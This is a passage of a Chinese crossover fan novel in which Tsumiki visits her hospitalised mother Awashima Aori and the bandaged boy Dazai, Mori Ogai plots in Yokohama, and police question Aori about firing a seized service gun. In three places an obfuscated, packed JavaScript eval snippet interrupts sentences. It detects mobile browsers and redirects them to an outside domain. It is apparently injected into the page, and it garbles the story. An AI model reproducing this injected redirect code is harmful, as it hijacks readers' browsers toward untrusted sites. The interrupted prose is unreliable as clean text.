冷静一点,津美纪,没事的。妈妈不会有事的,你还有弟弟妹妹要照顾,不要慌了神。 虽然一直这么安慰自己,但直到这一刻听到医生的话她才真正稳住了心神。她喘了几口气,感觉麻木的四肢逐渐恢复了知觉。 对了,妹妹。 她回头,送她们过来的阿笠博士正牵着莉帕的手走过来。 银发萝莉走到她身边,怀里抱着兔子玩偶,气息平稳:“真是的,都说了青理不会有事,跑这么急做什么?” 津美纪有些羞赧。真是糟糕,她好像是太毛躁了一点,都不如只有几岁的莉帕。 银发萝莉听着她还没完全平稳的呼吸,伸出手拍了拍她的手背:“好啦,别担心了,我们进去看看吧。” 推开病房的门,津美纪才发现不大的病房里竟然也有不少人。 咖啡厅的同事安室透,偶尔会前来咖啡厅的衣着干练的短发女警,对面事务所的毛利小五郎先生,还有少年侦探团的柯南小朋友。她的朋友毛利兰也在这里,正坐在床边给病床上的人擦脸。 “津美纪小姐来了。” 最先发现她的是靠在窗边的安室透,他绕过病床走了过来。 随着他移开身影,津美纪才发现,窗沿上还坐着一个穿着黑色衣服浑身缠满绷带的小少年。他侧仰着头看着窗外,津美纪只能看见他毛茸茸的后脑勺。 治。 尽管看不见脸,但不知怎的,津美纪就是认出来了,这就是妈妈口中她素未谋面的弟弟。 安室透在她面前站定,沉声说:“关于这次的挟持事件,我很抱歉,津美纪小姐。” 佐藤警官也来到她身边:“很抱歉,警方没能完美处理这件事。” 津美纪摇头,同样回以歉意:“不好意思,可以的话,我想先看看妈妈和弟弟的情况,案件的事晚些再谈好吗?” 毛利小五郎严肃点头:“那我们就先不打扰了,等淡岛夫人醒来后再来拜访。” 津美纪走到病床边,毛利兰站起身把位置让给她。 “别担心,津美纪。医生说了,淡岛阿姨没有事,很快就会醒的。” 津美纪冲她笑了笑,并没有坐下,把位置留给了莉帕,“谢谢你帮忙照顾妈妈,小兰。” 毛利兰连连摆手:“没有,我也没帮上什么忙。” 她看了看好友的神色,担忧地说:“那我就先走了,如果有什么需要帮忙的记得给我打电话。” 病房的门从外面关上了,刚刚有些拥挤的空间一下子宽敞很多。津美纪握着淡岛青理的手,感受着她健康有生命力的脉搏,纷乱的心绪逐渐平静下来。 她将目光移向窗边的少年。 少年已经转过头来,没被绷带缠住的鸢色左眼静静注视着她,然后露出了一个微笑。 津美纪无法形容那个笑容,那是一种很有技巧的微笑,欠缺生机,没有丝毫的真实感,轻盈得像一张白纸*。仅仅看着那个笑容,她就突然懂了妈妈言语中未尽的所有担忧。 津美纪目光温柔,轻声同他说:“你就是治吧?初次见面,我是伏黑津美纪。” 少年从窗台上下来,站立在窗边,拖长了声音懒散地说:“这位温柔的小姐竟然就是伏黑君的姐姐吗?还真是一点都不像呢。” 津美纪轻笑:“也是你的姐姐。” 少女面色温柔,说出的话却有着不容置喙的沉甸甸的重量。 太宰治顿了一下说:“……我可没有答应淡岛夫人的收养哦,就算她救了我也不行,明明我差一点就可以前往地狱了。” 津美纪像没有发现少年突兀的停顿,也没有在意他的反驳,只是关心地说:“治的伤口包扎过了吗?有没有事?” 太宰治摸了摸脖颈处崭新的绷带:“这个啊,护士小姐检查并包扎过了哦,没有伤到喉咙。可是好疼的,疼死了,我为什么还没死掉啊。” 津美纪发现,他喜欢拖长了声音说话,声音黏糊糊的,有时还会加一些听起来很可爱的语气词,就像是在撒娇一样。 但是,少年的表情透着空洞和虚假,像舞台上表演的三流演员,配合他撒娇的语气更显古怪,那是一种近乎灵异故事的森然之气*。 新弟弟,意料之外的难搞。 她抬手拍了拍太宰治的头,说:“疼也是没办法的事,只能委屈治先忍一忍了。” 落在头顶的手轻柔且温热,太宰治不由得打了个冷颤向后退了一步。他脸上没了笑容,抬起的眼睛中目光困惑,像是看到了什么无法理解的东西。 “你不生气吗?淡岛夫人因为我昏迷不醒。”他歪了歪头,“你应该很喜欢她吧?” 津美纪愣了一下,然后明白了什么。 原来如此,是在害怕呀。因为害怕被讨厌,所以装作不在意,先行摆出一副漫不经心惹人生气的态度。 真是的,他是小孩子吗?惠可是自从上了小学就不这样了。 “嗯……要说生气的话,是有一点,”津美纪说,“不过,你们都平安无事就好。” 她已经不会再奢求更多,只要大家都能平平安安,就已经心满意足了。 “嘁……”太宰治垂眸,撇了撇嘴低声说,“你和淡岛夫人一样,都是我最讨厌的那种人啊。” 擅自靠近,源源不断地给予,装出一副舍己为人不求回报的样子。 但这种关心又能持续多久呢? 当随着时间推移,发现付出得不到同等回报的时候,此时的关爱都会变成满腔怨恨。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15816080|174133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 怨人不知感恩,怨人不识好歹,怨人不能拿出同样的热情对待自己。丝毫不记得,是自己无视别人的抗拒擅自靠近,给出别人并不需要的虚假关心,然后又擅自索取。 母子生仇恨,夫妻变怨偶,他看过太多不同又相同的事情,并不想自己参演一出同样的闹剧。 他该走了。 他留在这里是想证明什么呢?明明他早就见过了太多相同的结局。 等回到横滨之后,就…… 思绪戛然而止,因为他看到了病床上女人双目紧闭毫无血色的脸。 莉帕趴在病床边,迎着他的目光看了他一眼,收回视线后再次趴下并闭上了眼睛。 津美纪注意到了莉帕的动作,于是停止谈话,对太宰治无奈地笑了笑。病房的温度不算高,津美纪脱掉外套给莉帕盖在身上,然后出门找护士要了一条毯子回来。 “你也在沙发上休息一会儿吧,治。”津美纪将毯子递给太宰治,然后走出病房。 病房门口站立着一位看守的警察,他负责看护淡岛青理和太宰治的安危,也负责在淡岛青理醒来后向警署汇报。伏黑津美纪冲他浅笑了一下,向走廊尽头的电梯走去。 阿笠博士在将津美纪和莉帕送到医院后并没有离开,因为少年侦探团的几个小家伙聚在医院楼下不想走。 “阿笠博士,我们真的不能去看淡岛阿姨吗?”吉田步美仰头,一双大大的眼睛泛着泪花。 刚刚的挟持事件发生时,步美四人被警察带离了现场,并不清楚发生了什么。一直看护他们的警察在送他们来找阿笠博士的时候,正好遇见了从医院里出来的佐藤警官等人,就交流了一下案情,几个孩子这才知道淡岛夫人进医院了。 被三小只用期盼的眼神盯着,阿笠博士压力很大,他掏出手帕擦擦汗,弯腰和几个孩子商量:“步美啊,我知道你们担心淡岛夫人,但是她现在昏迷需要休息,过几天我带你们来看她好不好?” 一旁的灰原哀见博士把三小只安抚了下来,也就没有多管,扫了一眼一直沉默地坐在台阶上的江户川柯南,双手插兜走到了他的身边。 “怎么了,大侦探?这么安静可不像你啊。” 她转动脑袋打量四周,褐色的短发随着她的动作微微晃动:“事情我都听说了,动静闹得很大,听说犯人被当场击毙了?我已经在网上看到有目击者发布消息了,或许用不了多久记者就会潜伏进医院来。” “记者?”江户川柯南闻言抬头,低落的表情被疑惑所取代。 见他一脸蠢样,灰原哀毫不客气地说:“你是累昏了头吗?一个被害人,一个被害人家属,现在都在这座医院里,那些媒体怎么可能放过这么好的采访机会?” 这么明显的事情江户川不应该想不到,看样子是被别的事占据了心思。 已经在来的路上了解到案件经过的灰原哀对他的脑回路有所猜测,总之无非就是觉得是自己的失误才连累那个少年被劫持,最后害得淡岛夫人晕倒住院的。 如果换个人,比如正在自责的人是吉田步美,灰原哀会坐下来认真开导。 但面前的人是江户川柯南,灰原哀只会说—— 嘁,矫情。 25.第 25 章 大侦探什么时候也跟个孩子似的钻牛角尖了?跟小孩子待久了还真被同化了? 虽然心里想了很多,但灰原哀并没有开解江户川的意思——她又不是心理医生。 “行了大侦探,要么就去病房外守着,要么就跟你的小兰姐姐回家,别在这当雕像了。” “英理阿姨前不久扭伤了脚,小兰还要去照顾她,已经走了。”江户川柯南并没有提起精神,头上翘着的呆毛都耷拉了下来。 “淡岛夫人那边有津美纪在,我现在的身份也没理由一直守在那里。” 难得见江户川柯南这副表情,灰原哀新奇了一会儿,最后她选择也在台阶上坐下来,问几个感兴趣的问题。 “你和淡岛夫人怎么认识的?之前怎么没听你提过你还有一个干妈?” 或许是此刻烦闷的心情急需倾诉来宣泄,江户川柯南确实顺着她的问题转移了思绪,开始回忆起他与淡岛夫人相遇时的场景, 这个故事也不算复杂,只是非要说的话,有一点丢脸吧。 他沉默一会儿,组织一下语言,接着将那段经历娓娓道来:“大概六年前的寒假,我和爸妈四处旅游的时候遇见了淡岛夫人。” 那年冬天的雪很大,他们从芬兰乘坐飞机回国的时候遇见了突降暴雪,原本应该落地米花机场的飞机不得不备降在关东地区的埼玉县。 当时正值十一月末,秩父夜祭马上就要在埼玉县的秩父市举行,他的父母一致决定留下来参加祭典。他们就是在那里遇见了同样来秩父市观赏祭典的淡岛夫人。 祭典的高潮是第二日的夜晚,在击鼓吹笛号子声声的热闹背景下,挂满灯笼的花车和高大庄重的神轿一起攀登上陡峭的山路,身后是数不清的绚丽烟花点亮了夜空。 那年的工藤新一才只有十一岁,身高还没有抽条,在人群中挤来挤去,一不小心就被挤散了。 大家都在追着神轿向前移动,目光或是流连在花车上,或是在欣赏夜空中的烟火,都没有注意脚下。 没了大人的保护,小小的工藤新一被挤得东倒西歪,他努力想要稳住身形,但无奈力不从心。在被一个壮汉踢了一下之后,他终于还是倒了下去。 四周都是奏乐声和欢呼声,他的呼喊淹没在喧闹中,无人发觉。在旁边的脚踩到他之前,一只手先拨开人群拽住他的衣领,将他从地上提了起来。 他被提到半空,在火光的照耀下看清了把他救起的人的脸。 四目相对,女人深灰色的眼瞳中带着笑意,声音揶揄:“看我找到了什么,一只跑丢的小花猫。” 他在女人的调笑下意识到自己的现状可能有些狼狈,脸颊上传来火辣辣的痛感,应该是摔倒时的擦伤。他身上满是尘土,弄脏了女人蓝白色的振袖。 刚刚的惊险还让他心有余悸,被女人提在手上时心脏仍然在怦怦乱跳。他想向女人道谢,却见女人提着他转了个身,将他展示给身后的人看。 “津美纪,惠!快看我……人呢?!” 身后并没有女人要找的人,她大惊失色,手一松差点把工藤新一摔在地上。 在工藤优作和藤峰有希子找到工藤新一的时候,救了他的女人还没有找到自己的孩子。 小小的工藤新一觉得这件事自己有很大的责任,于是发动父母和女人一起寻找她走散的小孩。 孩子最后找到了,两个小孩坐在一个身形高挑的白发青年的肩膀上,一左一右,在人群中很是显眼。 “之后我们一起观赏祭典,直到结束。我爸妈为了感谢淡岛夫人,请淡岛夫人吃了饭,留了联系方式。” 江户川柯南撑着脸颊回忆过往, “我妈和她很聊得来,回到米花后我经常能听到她们两个打电话,两人一唠就唠到半夜。她们在各种节日的时候总会互相寄一些礼物,我和我爸也有份,算是沾了我妈的光吧。” “然后大概在一年多前,淡岛夫人一家搬来了米花,虽然住所离我们家很远,但我妈还是非常高兴,每次回国都一定会邀请淡岛夫人来家里做客。” 听到这里,灰原哀大概明白了,插嘴说:“所以你妈妈想到她当初救了你的恩情,就让你认她做干妈?” 江户川柯南闻言嘴角抽了抽,额头上滑下几条黑线:“不是……” “淡岛夫人的两个孩子,女孩叫伏黑津美纪,男孩叫伏黑惠。津美纪比我小一岁,但是跟我同级,在搬来米花后转入了帝丹高中,伏黑惠转学到了帝丹中学,我并没见过他几次。” “我妈特别喜欢淡岛夫人的两个孩子,非要给人家做干妈,怕淡岛夫人不同意,所以就把我推出去给她当干儿子了。” 灰原哀:……行吧,倒是符合那个大明星的作风。 “这么说那个叫津美纪的女孩算是你义妹了?难怪她住在你家。” 江户川柯南挠挠头:“其实我跟她不太熟,她在班上太安静了,小兰和她关系还要更好一些。我被黑衣组织灌了药变小之后家里就空置下来,后来我妈听说津美纪要租房子自己住,就直接让她住到我家来了。” 难怪在第一次在咖啡厅遇见的时候表现得不是很熟络,灰原哀还以为是他演技进步了,原来是真不熟啊。 “啊!小哀,柯南!你们又在说悄悄话!” 被阿笠博士哄好的三小只凑了过来,对两人的行为表示不满。 小岛元太挤了过来:“你们在说什么呢?” 江户川柯南尴尬地后仰摆手:“我们在说津美纪姐姐,她的妈妈住院了,最近在波洛大概看不到她了。” “津美纪姐姐?”吉田步美微微仰头回忆,“我刚刚看到她了,她从医院的侧门出来,坐上了一辆出租车离开了。” 离开了?江户川柯南愣了一下。 这个时候津美纪不应该守在淡岛夫人的病房里吗?坐出租车是要去哪儿? 圆谷光彦:“啊,我也看到了,不过她脸色好像很难看,我就没有和她打招呼。” “可能是回去拿一些证件和衣物吧?”灰原哀猜测。 不过脸色难看是有多难看?那女孩一直都是温柔的模样,那抹浅笑仿佛焊在嘴角一样,她还从来没见过那女孩变脸的样子。 “好了,大家该回家了,你们的家长已经在担心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15817288|174133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。”阿笠博士规劝几个孩子,“等淡岛夫人醒来我们再来探望她好不好?” “好——” 出租车行至半途就停下了,伏黑津美纪付了高价的车费打开了车门。 “真的不用送到目的地吗?小姐?”司机拿着明显高出计价器金额的钞票有些犹豫。 “没关系,”伏黑津美纪笑着说,“因为朋友临时说要来接我,送到这里就好了。” 目送出租车离开,她转头走进一家服装店。 四十分钟后,换了一身衣服的伏黑津美纪提着一个皮箱从另一辆出租车上下来,到达了池袋。 出租车刚刚驶离,她握在手中的手机就振动了一下,一条短信出现在屏幕上。伏黑津美纪收起手机推了一下鼻梁上的墨镜,提着箱子离开了原地。 不久后,一家餐厅的玻璃门被推开,身穿黑色风衣戴着墨镜的少女走进来,脚步没有迟疑地走向靠窗的位置。那里,一个黑发青年正百无聊赖地转动着餐刀。 “久等了,折原先生,没想到你会约在这里见面。” 说话的少女径直在对面坐下,折原临也转过头勾唇露出一个笑容:“呦,好久不见啦,津美纪,这次又有什么事?” 伏黑津美纪开门见山地把皮箱放在桌子上,和一篇打印出来的帖子一起推了过去。 “帮我查一件事。” 折原临也接过文件看了看,慢慢坐直了身体,赤红的眼瞳里兴味盎然,“这不是上午米花市发生的案件吗?跟你有关系?” 伏黑津美纪轻声说:“被劫持的人是我弟弟。” “难怪。”青年向后一仰靠在沙发靠背上,若有所思。 “不过,我可不记得津美纪你什么时候换了一个弟弟,看来是淡岛夫人又收养了别的孩子?很好奇啊,被淡岛夫人留下来的人。真的不能再给个机会,让我加入这个家吗?” 少女弯起了眉眼,面色温柔语气甜蜜:“不告而别的人就要像死掉一样安分才可以哦。” “津美纪还是这么不近人情啊。”被拒绝的青年面上没有丝毫不悦,他拽过桌上的皮箱,没有打开查看,顺手放在了身边。 “既然是津美纪的请求,我当然会帮忙的,等我消息。” 两个互相微笑的人对视了一眼,就这样敲定了一桩交易。 这时候服务员端了折原临也点的午餐,青年意思意思地客气了一下:“津美纪还没有吃午饭吧?要不要和我一起共进午餐?” 伏黑津美纪听明白这是在赶她走了。她起身,客气地说:“不用了,谢谢折原先生的帮助。” 没等她走出两步,又被青年出声叫住了。 “对了,你之前一直在查的那件事怎么样了?真的不需要我帮忙?” 少女停下脚步。 “那件事啊,”她的声音冷了几分,“折原先生不用担心,已经有些眉目了。而且,唯独那件事情,我希望能自己处理。” 餐刀又在指尖转了几圈,青年托腮回应:“那我就提前恭喜了。对了,明天我就要离开池袋了,联络方式之后发给你,还要多多照顾我的生意啊。” 26.第 26 章 横滨,镭钵街的诊所里,爱丽丝用蜡笔在地上画着画。 画面上是四个小人,其中三个站在一起,另一个黑漆漆的小人孤零零地站在一边。 “好过分啊,林太郎。我还是很喜欢淡岛夫人的。” 已经从黑医一跃成为港口黑手党首领身前大红人的森鸥外并没有太大变化,仍然是一身白大褂,脸上带着胡茬,一副不修边幅的样子。 他擦拭着手里的手术刀说:“冤枉啊爱丽丝酱,人可不是我派去的。” “但是是你把淡岛夫人的消息泄漏出去的。” 老首领年纪越大越头脑发昏,性格暴虐偏听偏信。森鸥外作为老首领唯一信任的人,可以说享尽了好处。 一块蛋糕只有那么大,一个人吃得多了,另外的人就得少吃些。那些捞不到好处的人自然想给森鸥外一个教训。 可惜森鸥外本人过于谨慎,又正得老首领宠信,旁人一时之间还真找不到地方下手。于是就有人把注意力放到了森鸥外身边的黑发少年身上。 恰巧在这时,突然获得了关于少年家人的消息,这岂不是天赐良机?当然要给他一个教训。 去跟踪淡岛青理的人当然不是森鸥外派去的,但是又有什么区别呢?左右都不过是一个任人摆布的棋子罢了。 可是,又有谁不是棋子呢? 森鸥外自认为,他也是三刻构想这一棋局上的一枚棋子。而太宰治,又是他谋取港口黑手党的一枚棋子。 只可惜,这颗棋子还没能完全掌握在执棋人的手中。 尽管他为之做出了许多努力,太宰治仍然没有彻底从那个家中脱离。 但这是不行的。 只要太宰治还有一丝犹豫,那他的计划就会多出一丝无法掌控的变量。 爱丽丝:“为了把控住太宰,你还真是费尽心机啊。一个底层的小喽啰,暗杀一个普通人确实是够用了,不过,你觉得太宰不会阻止吗?这件事想要瞒过他,怕是不可能的吧?” 森鸥外举手喊冤:“爱丽丝酱,你把我当成什么人了?我怎么会真的害淡岛夫人呢?我要的,就是太宰去阻止。” 他从来就没想瞒过太宰治,因为这就是一个阳谋。 昨晚他特意拖延了太宰治回去的时间,等他回到家,前去杀害淡岛青理的人应该已经快要得手了。面对这种危机,身上有枪的太宰治会怎么做呢? 无论他怎么做,手段都不可能温和。 那么直面了太宰治阴暗一面,并且意识到自己是被太宰治连累的淡岛夫人,真的还会像从前一样内心毫无芥蒂吗? 太宰治是一个很敏感的孩子,一旦察觉到那一点不同,他自己就会离开。 爱丽丝:“那如果太宰确实快了一步,在暗地里将人解决了呢?” 森鸥外笑了,暗紫色的眼底透着算计:“那么手染鲜血的他,就彻底回不去了。” 人是一种感官动物,间接和亲手夺走别人的性命是不一样的。 当真正手染鲜血的那一刻,你的心里会清楚地感觉到你与他人之间已经有了一层厚厚的壁障,你再也回不去往日的生活了。 虽然过程出了些小意外,淡岛夫人今天去了米花,不过没有影响,一切都会顺利进行。 森鸥外将手里的手术刀放进托盘,语气深沉地说:“等太宰回来,一起去吃一顿好的吧。” …… 身上的衣服因为浸了水而格外沉重,太宰治艰难地爬上河岸,丧失了力气一般仰躺在原地。 外衣的口袋里有什么东西在跳动,他挪动手臂去摸索,最后分别从左右口袋里摸出来两条还在挣扎的鲫鱼。 接着,他从手腕处绷带的缝隙里扣出来一张照片。 照片明显是偷拍的,画面上的女人在无知无觉地笑着。 摩挲了一下照片上已经干涸的血迹,他将照片撕碎,塞进其中一条鲫鱼的肚子,然后将它扔回了提无津川。 有一件事情,森欧外想错了。 其实太宰治已经打算离开了。 距离伏黑惠离开已经过去了小半月,这期间,无论他做什么,淡岛青理都没有表现出异常,就像对他的行动毫不知情。 可是,太宰治摸了摸肩膀,那里还留着被河底巨石留下的伤疤。 经过扫描发现,那里被植入了一枚芯片。 所以她究竟想要做什么呢?监控他的一举一动,却从不干涉制止,她想要什么? 太宰治仍然没有想清答案,却已经不想再去追究了。 这样的日子太平淡无聊,温柔的假象正像爬虫一样蛀蚀他的意志,一步步拖他进入庸者的泥潭。 他想离开了,这里没有他要找的死亡。 今早回去,只是想把伏黑惠给他的咒具还回去而已,却没想到发现了黑手党的踪迹。 所以为什么会头脑一热跟上来呢?明明知道那个女人并不像看起来那样简单,她不会有事的。 太宰治瞳孔涣散地望着天空,半晌翻了个身,将脸埋进草地里。 或许是,那天女人给他包扎时的面容太认真吧。 …… 淡岛青理恢复意识的时候,病房里静悄悄的。她睁开漆黑的眼瞳,人还没有完全清醒,仔细看瞳孔还不聚焦。 “你醒了。” 她顺着声音的方向转过头,银发萝莉的身影慢慢清晰。 “你睡了一天一夜,感觉怎么样?” 淡岛青理眨眨眼,感觉睡得特别好。 莉帕看她的样子就知道她没什么事,也没想听她的回答,只是给她倒了一杯水。 淡岛青理接过水杯抿了一口,环顾四周后问道:“津美纪和太宰呢?”不会没有来看过她吧?那也太让人伤心了。 “医生说你快醒了,津美纪回去准备晚餐,太宰不知道跑哪里去了。” 莉帕给自己冲了杯咖啡,然后坐到了床边的椅子上。她金色的眼瞳望着病床上的淡岛青理,落在被子上的指尖微微蜷起,想要开口询问,又不知该如何问起。 刚得知她晕倒的消息时,莉帕以为那是无聊的玩笑。柔弱的伪装只是青理奇怪的个人爱好,她本人与脆弱并不搭边。 没想到这却是真的。 为什么青理会晕倒?是身体出了问题?还是别的什么原因? 千万思绪划过,她张了张嘴,还是犹豫着问出了那个在心底积压许久的猜测 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15827809|174133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“和太宰有关?” 她问得没头没尾,淡岛青理却一下子听懂了她的意思。 尖叫声,枪响声,绑匪狰狞的面孔,以及飞溅在少年脸颊上的血液。 她仿佛又回到了很久之前的那一天—— 她站在夕阳中,红色的液体从前方向她脚下蔓延,耳边是伴着呐喊和尖叫的嗡鸣,眼前的世界变得模糊不清。 曾经的午夜梦回间,这幅画面她已经见了无数次,所以很快挣脱回忆清醒过来。 “是秘密,莉帕。”她竖起一根手指在唇边,笑容中带着狡黠。 见她笑得没心没肺的样子,莉帕轻啧一声,偏过了头,“不说拉倒,我也没有很想知道。” 话音刚落,病房的门就被推开了。 “唔,醒了啊。” 太宰治带着一身腥气走了进来,身后还隐约传来护士暴怒的声音。他浑身湿漉漉地淌着水,手里提了一条噼里啪啦活蹦乱跳的大鲫鱼。 淡岛青理呆呆地眨了眨眼睛。 太宰治还在低头拧衣摆的水,他手里的鱼先与淡岛青理对上了视线。 那条鱼瞪着一双鱼眼,眼中闪着诡异的光,见她看过来好像还冲她吐了口口水。 ?! 大胆刁鱼!竟敢以下犯上!朕要将你发配葱姜! ……不不不,现在不是想这个的时候。 她晃了晃脑袋,清醒了几分,急切地询问:“太宰你没事吧?犯人是不是开枪了?有没有伤到你?”她依稀记得当时听到了另一声枪响。 衣服根本拧不干,太宰治干脆把外套脱了下来,回答说:“那声枪响是警方埋伏的狙击手开的枪啦,犯人根本没来得及开枪。” 淡岛青理长长地松了口气,她就说她不会手慢到让犯人开了枪的程度。 病房的门再一次被推开了,拿着拖把的护士小姐面色凶恶脸冒黑气。 她飞快逼近太宰治,咬牙切齿压迫感十足地开口:“太宰君,我应该告诉过你站在原地不要动吧?” 太宰治头冒冷汗眼神乱瞟:“那个,人家只是等不及要给淡岛夫人看礼物嘛……” 说着,他飞快将手里超大只的鲫鱼举至头顶,并配音:“噔噔噔噔!这可是我特意捞来给淡岛夫人加餐的!是不是超级大?” 作为展示品的鲫鱼并不满意这个姿势,在他手里疯狂甩身摆尾。终于,一个鲤……鲫鱼跃龙门从他手里飞了出去! 太宰治眨眼:……啊嘞? 护士小姐眼见那条鳞片闪着光的大鱼冲着病人的脸就飞过去,吓得花容失色地扑了上去。 在“扑通”“哎呦”地一阵乱响之后,护士小姐抱着鱼尴尬地从病人身上爬了起来。 “对不起对不起!那个,夫人,您的鱼。” 护士:递。 淡岛青理抹了一把被甩了水的脸,再揉揉被肘击的肚子,颤抖着声音开口:“还是放生……” 一抬头,太宰治可怜巴巴地看着她。 淡岛青理眼中: (绷带猫猫耷拉耳朵).Jpg ——妈妈,不喜欢吗? 淡岛青理:……多少吃一口吧!别寒了孩子的心! 27.第 27 章 好在,在淡岛青理失去理智生啃个鱼之前,这条鱼被查房的医生以保管的名义带走了。 津美纪也很快回来了,她跟学校请了几天假,此时穿着常服提着两个香气四溢的便当盒走了回来。 她看见淡岛青理醒了喜出望外,但还是忍不住发问:“嗯……为什么病房里一股鱼腥味?” 太宰治不吭声,深藏功与名。 津美纪带来的餐品很丰盛,三菜一汤,两人份。她和莉帕之前已经吃过晚饭了。 将餐盒和餐具给两人摆放好,津美纪又从身后提出一个保温盒,“这是昴先生做的土豆炖牛肉,他听说我的家人住院了,所以特意让我带来的。” 冲矢昴,东都大学研究生,是她的合租人,两人目前都租住在日本有名的推理小说家工藤优作和女演员藤峰有希子的家中。 “昴先生?”淡岛青理拍了拍新换的被褥,想了想,“哦哦,是冲矢昴。嗯,有希子和我说过他是一个很优秀可靠的青年,不过我还没有见过他。莉帕见过他了吗?感觉怎么样?” 莉帕吃着津美纪在路上给她买的冰激凌,闻言撇了撇嘴:“我讨厌眯眯眼。” 淡岛青理打开餐盒,突然想起来:“对了,太宰为什么会来东京呢??”事情发生得突然,她都忘了问,本应该在横滨的太宰治为什么会出现在米花。 已经换了一身衣服的太宰治正在戳碗里的蟹肉,闻言抬起头,幽幽开口:“是啊,为什么呢?” “一回家发现家门被锁了,怎么按铃都没人应门。好心的邻居小姐说某人今天一早就出门了,还带着行李。” 他看了一眼伏黑津美纪,语气阴阳怪气:“我是不是打扰你们母女团聚了?那我这就走?” 晴天霹雳! 淡岛青理大脑急速运转,脚趾开始疯狂抓床单。 她就说她出门的时候好像忘记了什么,她忘了给太宰留钥匙啊! 她低着头,既心虚得不敢看太宰治,又心疼她的太宰猫猫进不去家门。 莉帕翻了个白眼,简直没眼看。 也不知道她在心疼个什么,这小子开锁六得飞起,怎么可能是因为这个原因! 淡岛青理尬笑:“哈哈,那太宰真厉害,竟然这么快就找到我了。” 救命,她的嘴在说什么! 她装作很忙的样子尝了一口土豆炖牛肉,没想到味道意外地还不错,于是连忙转移话题:“要感谢一下冲矢先生对津美纪的照顾才行,明天出院后我们去拜访他吧!” “恐怕不行哦,”太宰治打断了她的设想,“淡岛夫人是不是忘了什么事?” 淡岛青理疑惑:“欸?有吗?” 思索了两秒,她的冷汗顺着额角流了下来。 太宰治:“当街抢夺警察配枪并开枪杀人,弄不好我们要一起吃猪扒饭哦。” 淡岛青理的脸色倏地失去了血色,仿佛终于意识到了事情的严重性。 “怎么办?我杀人了。” 她一副惊惶失措的样子问:“太宰,津美纪,呜呜呜呜呜妈妈杀人了,你们不会不要妈妈吧?” 津美纪连忙安慰她:“没事的妈妈,你只是迫不得已才开的枪,我们向警方认错,警察一定会酌情处理的。” “真的吗?”淡岛青理哭哭啼啼,“不会讨厌妈妈?” “不会的。” “不会害怕妈妈?” “怎么会呢?” “不会不要妈妈?” “当然不会了!” “太宰怎么不说话?” 突然被三双眼睛盯着的太宰治:“……” ……感觉哪里不太对。 ———— “姓名。” “淡岛青理。” “性别。” “女。” “年龄。” “永远的十八岁!” 噼咔—— 笔尖断裂的声音。 “……二十。” 千叶警官看了一眼目暮警官黝黑的脸色,擦着汗提醒淡岛夫人:“那个……津美纪小姐都已经十六岁了。” “……” 淡岛青理咽了口唾沫,在心里疯狂计算自己应该几岁。 此时,她正倚坐在米花中央医院的病床上,三名警察围坐在床边的椅子上正在对她问询。 目暮警官用力地叹了口气,说:“淡岛夫人,我知道你当时也是情急之下才会做出那种事。但是当街抢夺警察配枪是十分严重的行为,你必须认识到你的错误。” 从昨天开始,整个警署就陷入了兵荒马乱之中。 杀人犯当街挟持未成年做人质,杀人犯持枪,人质家属抢夺警察配枪并开枪杀人,人质家属晕倒送医院,这每一件事都值得媒体的一篇头条新闻报道。 警方光是拦截媒体防止消息扩散就忙得焦头烂额,关于案情的后续工作更是焦灼得让人不知从何下手。 二号死者的身份,他来米花的目的,犯人手上枪支的来源等一系列问题都还没调查清楚,目暮警官在警署忙碌了一整个通宵。 今早得知淡岛青理醒来的消息,又急忙赶来录口供。 目暮警官看着病床上弱小可怜又无助的女人,感觉自己一个头两个大。 淡岛青理委屈:“可是犯人要开枪杀了太宰……” 目暮警官严肃地说:“我们在附近的居民楼上埋伏了两名狙击手,必要时自然会开枪保证人质的安全,你应该相信我们警方。” 淡岛青理低头搓衣角。 目暮警官见她一副“我认错,但不改”的样子,气得吃了一片降压药。 “你不仅抢了高木的配枪,还开了枪,还是当着警方的面,你知道这种情况一个处理不好会引起多大的社会舆论吗?” 淡岛青理灵光一现:“但是狙击手也开枪了!警方的狙击手开枪一定比我快,也就是说我没有杀人,我只能算鞭/尸!” 目暮警官:“……” 这很值得骄傲吗?! 眼看目暮警官头顶的火气越来越大,淡岛青理识时务地停止了狡辩。 她做西子捧心状,泪眼汪汪地说:“对不起,我知道错了,我再也不敢了呜呜呜呜呜呜可不可以不要抓我去坐牢?我上有老下有小呜呜呜呜呜” 目暮警官拿她没有办法,让佐藤美和子给她递纸巾。 “关于你的处理方案需要上级开会研讨后才能给出结果,在这期间你不能离开医院,并且身边必须有警察跟随。” 这件事情实在复杂。 